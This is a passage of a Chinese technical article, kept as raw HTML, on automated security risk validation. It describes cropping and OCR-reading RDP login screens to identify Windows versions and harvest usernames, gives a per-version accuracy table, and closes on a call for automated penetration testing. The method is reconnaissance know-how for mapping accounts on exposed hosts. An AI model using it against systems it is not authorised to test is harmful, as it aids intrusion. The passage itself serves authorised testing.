&#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;text-align: justify;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;overflow-wrap: break-word !important;">3.OCR识别</span></strong></span></span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;font-weight: 400;letter-spacing: 0.544px;text-align: left;overflow-wrap: break-word !important;">在得到用户名位置后，根据经验判断，将预测框的位置在图片宽度基础上误差设置为0-5个像素值，在高度基础上误差设置为0-3个像素值，然后将其裁剪下来，利用我们已有的ocr模型进行识别，得到最终的操作系统版本类别和用户名信息。同时，支持多个用户名识别。</span></strong></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-weight: 400;letter-spacing: 0.544px;text-indent: 0em;font-size: 15px;text-align: left;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><strong style="margin: 0px;padding: 0px;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 4;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;text-align: justify;outline: 0px;max-width: 100%;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;overflow-wrap: break-word !important;">4.实验结果</span></strong></span></span></p><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;font-weight: 400;letter-spacing: 0.544px;text-align: left;overflow-wrap: break-word !important;">为保证测试结果准确性，实验分别对每个类别的600-1000张图片进行测试，最后进行人工核查，得到实验结果如下表所示。在用户名方面，测试的准确率为98%左右。</span></strong><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;font-weight: 400;letter-spacing: 0.544px;text-align: left;overflow-wrap: break-word !important;"></span></strong></p><table cellspacing="0"><tbody><tr style="height:13.8000pt;"><td width="318" valign="top" style="padding: 0pt 5.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:宋体;">类别</span></span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-width: 1pt;border-style: solid;border-color: windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:宋体;">准确率</span></span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows7_Profession</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">9</span><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">.</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">8%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows7_Enterprise</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">9.6%</span></p></td></tr><tr style="height:13.8000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows7_ulimate</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">9.8%</span></p></td></tr><tr style="height:12.4000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2008_R2_Standard</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">4.5%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2008_R2_Enterprise</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">8.7%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2008_R2_Datacenter</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">9%</span></p></td></tr><tr style="height:12.4000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2008_R2_Foundation</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2008_R2_Web_Service</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows_Server_2012_R2</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">8.2%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">Windows</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">_Server_2008_Standard</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">Windows</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">_Server_2008_</span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:等线;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Enterprise</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">Windows</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">_Server_2008_Datacenter</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:11.9000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">Windows</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">_Server_2012</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">1</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">00%</span></p></td></tr><tr style="height:12.4000pt;"><td width="323" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 0pt;text-align: center;"><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:等线;font-size:10.0000pt;mso-font-kerning:0.0000pt;">Windows10/Windows11/</span><span style="font-family:等线;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">Windows</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:等线;font-size:10.0000pt;mso-font-kerning:0.0000pt;">_Server_2016/2019</span></p></td><td width="98" valign="top" style="padding: 0pt 5.4pt;border-left: 1pt solid windowtext;border-right: 1pt solid windowtext;border-top: none;border-bottom: 1pt solid windowtext;"><p style="text-indent: 20pt;text-align: center;"><span style="font-family:宋体;mso-ascii-font-family:&#39;Times New Roman&#39;;mso-hansi-font-family:&#39;Times New Roman&#39;;mso-bidi-font-family:&#39;Times New Roman&#39;;font-size:10.0000pt;mso-font-kerning:0.0000pt;"><span style="font-family:Times New Roman;">9</span></span><span style="font-family:&#39;Times New Roman&#39;;mso-fareast-font-family:宋体;font-size:10.0000pt;mso-font-kerning:0.0000pt;">8%</span></p></td></tr></tbody></table><p style="margin: 0.8em 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;color: rgb(34, 34, 34);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;text-align: center;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;text-align: left;text-indent: 0em;font-size: 12px;">基于rdp方法实验结果</span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;padding: 0px;font-weight: bold;font-size: 1.75em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;text-indent: 0em;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;font-size: 1.75em;letter-spacing: 0.544px;text-indent: 0em;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">总结</span></strong><br style="margin: 0px;padding: 0px;"/></h2><p style="margin: 0.8em 0px;padding: 0px;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">目前，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">网络安全</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">风险验证</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">过于依赖人工方式，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">多以白帽黑客进行人工渗透测试为主，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">交付方式、工作效率、标准化程度、行为及数据可控性</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">存在多方面</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">不足。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">同时，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">网络安全缺乏有效验证手段，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">尽管企业</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">投入</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">了</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">大量资金购买各类安全系统及设备，</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">也很</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">难科学</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">、准确地</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">验证自身安全控制的有效性</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">及</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">安全投入的合理性。</span></p><p style="margin: 0.8em 0px;padding: 0px;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">网络安全攻防技术必将愈发体现出人工智能及机器学习介入的影响，未来的网络安全将会越来越多地出现AI vs AI的<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 4;text-align: left;text-indent: 0px;text-transform: none;white-space: pre-wrap;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: 